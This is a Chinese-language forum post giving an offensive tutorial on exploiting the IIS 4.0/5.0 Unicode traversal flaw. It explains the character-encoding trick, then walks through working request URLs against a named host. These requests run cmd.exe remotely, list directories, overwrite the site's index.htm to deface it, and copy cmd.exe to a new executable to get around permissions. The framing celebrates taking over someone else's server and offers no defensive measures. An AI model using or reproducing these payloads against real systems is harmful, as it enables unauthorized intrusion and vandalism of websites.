返回列表 回復 發帖

IIS漏洞入侵原理介紹 IIS漏洞如何入侵

IIS漏洞入侵原理介紹 IIS漏洞如何入侵
IIS(Internet Information Server)服務為Web伺服器提供了強大的Internet和Intranet服務功能。主要通過埠80來完成操作,因為作為Web伺服器,80埠總要打開,具有很大的威脅性。長期以來攻擊IIS服務是駭客慣用的手段,筆者記得有段時間兩大駭客組織對攻就頻繁地用到了IIS漏洞入侵。這種情況現在還依然存在,多是由於企業管理者或網管對安全問題關注不夠造成的。
Unicode漏洞
  針對IIS的攻擊方式可以說是五花八門,使用大量的資料請求,使IIS超負荷而停止工作,是初級駭客的必修課程。不過鑒於篇幅限制,針對IIS的攻擊本文不做詳細介紹,而是說說入侵IIS。IIS有十多種常見漏洞,但利用得最多的莫過於Unicode解析錯誤漏洞。微軟IIS 4.0/5.0在Unicode字元解碼的實現中存在一個安全性漏洞,用戶可以遠端通過IIS執行任意命令。當IIS打開檔時,如果該檔案名包含Unicode字元,它會對它進行解碼。如果使用者提供一些特殊的編碼,將導致IIS錯誤地打開或者執行某些Web根目錄以外的檔或程式。我們此文就著重來講講如何利用這個漏洞入侵IIS。
  對於IIS 4.0/5.0中文版,當IIS在收到的URL請求的檔案名中,包含一個特殊的編碼例如“%c1%hh”或者“%c0%hh”,它會首先將其解碼變成“0xc10xhh”, 然後嘗試打開這個檔。Windows系統認為“0xc10xhh”可能是Unicode編碼,因此它會首先將其解碼,如果 “0x00<= %hh < 0x40”的話,採用的解碼的格式與下麵的類似:
  %c1%hh->(0xc1-0xc0)*0x40+0xhh
  %c0%hh->(0xc0-0xc0)*0x40+0xhh
  因此,利用這種編碼,我們可以構造很多字元,例如:
  %c1%1c->(0xc1-0xc0)*0x40+0x1c=0x5c=’/’
  %c0%2f->(0xc0-0xc0)*0x40+0x2f=0x2f=’’
  攻擊者可以利用這個漏洞來繞過IIS的路徑檢查,去執行或者打開任意的檔。此漏洞從中文版IIS4.0+SP6開始,還影響中文版WIN2000+IIS5.0、中文版WIN2000+IIS5.0+SP1。
  在NT4中“/”編碼為“%c1%9c”;在英文版的WIN2000中為“%c0%af”;在中文版的WIN2000裡是“%c1%1c”。此外還有多種編碼,不逐一闡述,大家可以查查資料。本文均以WIN2000為例,其他類型請自行替換。
判斷是否存在漏洞
  用該漏洞的掃描器來進行掃描是一種常見的方法。但我們知道,掃描並不是一個真正的駭客攻擊行為,它只是一種尋找入口的方式。IIS的Unicode漏洞掃描器有很多,如RangeScan或者是unicodeScan都可以進行掃描以收集伺服器資訊。還有些綜合性的掃描軟體除了能發現Unicode漏洞之外,同時還能收集伺服器的其它漏洞——X-Scan(下載地址:http://bitscn.com/upload/X-Scan-v3.1-cn.rar)。
  當然也可以在IE流覽器中輸入以下語句來進行判斷:
  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
  學過DOS的應該可以看懂,其實就是利用當中的非法請求使我們連到system32下,如果Inetpub目錄不和Winnt在同一盤符,或者目錄級數有改動,就可能會引起請求失敗。
  如果存在漏洞,那麼在流覽區可看到如下類似資訊:
  Directory of C:inetpubscripts
  2005-03-05 15:49 〈DIR〉 .
  2005-09-05 15:49 〈DIR〉 ..
  是不是有自己機器的感覺了,正點!要的就是這種感覺!
  cmd.exe相當於DOS裡的command.com,因此,我們可以執行很多命令了!
  注意:在上面輸入的判斷語句中,“/c”後面的“+”,實際上是空格,請記牢!dir是DOS中的查看檔和目錄命令,不懂DOS的朋友快去學習。
  看了上面的介紹,不用說大家也知道我們可以利用此漏洞對伺服器展開攻擊了!
修改網站首頁
1.確定網站首頁名稱
  一般網站默認首頁檔為index.htm、index.html、index.asp、default.htm、defautl.html或default.asp中的一個,我們可以通過輸入不同的首頁名稱來測試並確定要修改的網站首頁。在IE位址欄中輸入以下三個網址:
  http://aa.feedom.net/index.html
  http://aa.feedom.net/default.asp
  http://aa.feedom.net/index.htm
  通過對上面三個網址的測試,我們發現只有第三個網址可以正常打開,說明這個網站的首頁名稱為index.htm。好了,那麼我們就修改它吧!
2.修改原理
  最方便的方法是echo法:echo是一個系統命令,主要用於設置回應開關。
  echo test >c:autoexec.bat就是把test加入autoexec.bat裡並刪除原有內容;
  echo timedate >>c:autoexec.bat就是加入timedate但不刪除原有內容。
  明白了嗎?接下來我們就可以逍遙地修改了。
3.更改網站首頁
  在IE中輸入以下位址:
  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+ HaHaThisismyhack +>c:inetpubwwwrootindex.htm
  IE流覽器返回來的結果可能為以下兩種情況之一:
  1)HTTP 500 - 內部伺服器錯誤
  2)The parameter is incorrect
  通過返回資訊提示和對CMD的分析,可能是命令語句中參數錯誤,加入"符號再試試:
  1) http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ HaHaThisismyhack +>c:inetpubwwwrootindex.htm
  表示把HaHaThisismyhack加入到index.htm檔並刪除原有內容。
  2)http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd".exe?/c+echo+ by2005-3-9+>>c:inetpubwwwrootindex.htm
  表示把by2005-3-9加入到index.htm檔中,但不刪除原有內容。
  如果正常,上面兩條語句的回應應該都為CGI錯誤,這表示語句執行成功了,系統只是程式性地報個錯誤,不用理會它。
  現在再來打開網站aa.feedom.net看看吧,怎麼樣了,是不是被你改掉了?在實際操作中,由於目錄許可權等網管因素的存在,可能這個方法也會失效,這時,我們就可以用copy cmd.exe 為另一個.exe檔的方式解決,不過要記住路徑,別出錯了,例如:
  http://aa.feedom.net/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:a.exe
  http://aa.feedom.net/
返回列表